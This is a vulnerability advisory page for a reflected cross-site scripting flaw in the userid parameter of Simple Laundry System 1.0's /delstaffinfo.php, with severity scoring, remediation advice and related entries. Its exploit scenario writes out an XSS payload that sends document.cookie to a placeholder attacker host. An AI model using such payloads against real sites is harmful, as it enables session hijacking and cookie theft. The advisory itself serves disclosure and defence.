EUVD-2026-17814
GHSA-g289-xp4v-g26c
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | CVSS 4.3 (Low) with EPSS metric E:P indicates public exploit availability. Attack vector is network-accessible (AV:N) with no privileges required (PR:N), but requires user interaction (UI:R). The impact is limited to integrity (I:L) with no confidentiality or availability loss. KEV status is not confirmed as actively exploited by CISA, but public exploit code exists, meaning the technical barrier to exploitation is minimal. Within SSVC framework, this represents a case where technical impact is limited (no data confidentiality loss, no system availability loss), but the attack is easily automatable and remotely exploitable. Real-world risk is moderate for applications in production where users may interact with untrusted links; however, the impact ceiling is lower than other XSS vulnerabilities due to lack of confidentiality or availability damage in the CVSS model. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL to the Simple Laundry System's /delstaffinfo.php file with a payload such as userid=<script>alert('xss')</script> or userid=<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>. The attacker sends this link to a staff member or administrator via email or chat. When the targeted user clicks the link while logged into the application, the injected script executes in their browser, potentially stealing session cookies, redirecting them to a phishing site, or performing unauthorized actions on their behalf. Public exploit code available on GitHub (referenced in intelligence) lowers the barrier for script-kiddie-level attacks. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 01, 2026
Reflected cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to inject malicious scripts via the userid parameter in /delstaffinfo.php, with public exploit code available. The vulnerability requires user interaction (clicking a crafted link) and has low confidentiality impact but can enable session hijacking, credential theft, or malware distribution.
RemediationAI
Primary remediation requires patching-contact code-projects or check https://code-projects.org/ for an updated release of Simple Laundry System that includes input validation and output encoding for the userid parameter. Immediate mitigation pending patching includes implementing a Web Application Firewall (WAF) rule to sanitize or block requests containing script tags in the userid parameter, enforcing Content Security Policy (CSP) headers to restrict inline script execution, and educating users not to click untrusted links to the application. Input validation should reject or encode special characters (< > " ' &) in the userid parameter, and output should be HTML-entity-encoded before rendering.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in a PHP-based web application's parameter handler for the /delstaffinfo.php endpoint. The userid parameter is processed without proper input validation or output encoding, allowing attackers to inject arbitrary HTML and JavaScript code (CWE-79: Improper Neutralization of Input During Web Page Generation). The affected product is code-projects Simple Laundry System, a PHP application for laundry management. The attack vector is network-based with low attack complexity-no special configuration or exploit complexity is required beyond crafting a malicious URL and convincing a user to click it.
Know when Simple Laundry System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
4DescriptionCVE.org
A vulnerability was detected in code-projects Simple Laundry System 1.0. This affects an unknown part of the file /delstaffinfo.php of the component Parameter Handler. The manipulation of the argument userid results in cross site scripting. The attack may be launched remotely. The exploit is now public and may be used.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in SourceCodester Simple Laundry System XSS
View all 4More in Simple Laundry System
View allSQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to execute arbitrary SQ
SQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to extract, modify, or
SQL injection in Simple Laundry System 1.0 allows unauthenticated remote attackers to execute arbitrary SQL commands via
SQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to extract, modify, or
SQL injection in Simple Laundry System 1.0's /checkregisitem.php parameter handler allows unauthenticated remote attacke
SQL injection in Simple Laundry System 1.0 PHP application allows unauthenticated remote attackers to execute arbitrary
SQL injection in Simple Laundry System 1.0's /checklogin.php parameter handler allows unauthenticated remote attackers t
SQL injection in Simple Laundry System 1.0's /checkupdatestatus.php parameter handler allows unauthenticated remote atta
SQL injection in Simple Laundry System 1.0 through the serviceId parameter in /viewdetail.php allows unauthenticated rem
Cross-site request forgery in code-projects Laundry System 1.0 allows an attacker to perform unauthorized actions on beh
Cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows remote attackers to inject arbitrary script
Reflected cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers
Exploit-DB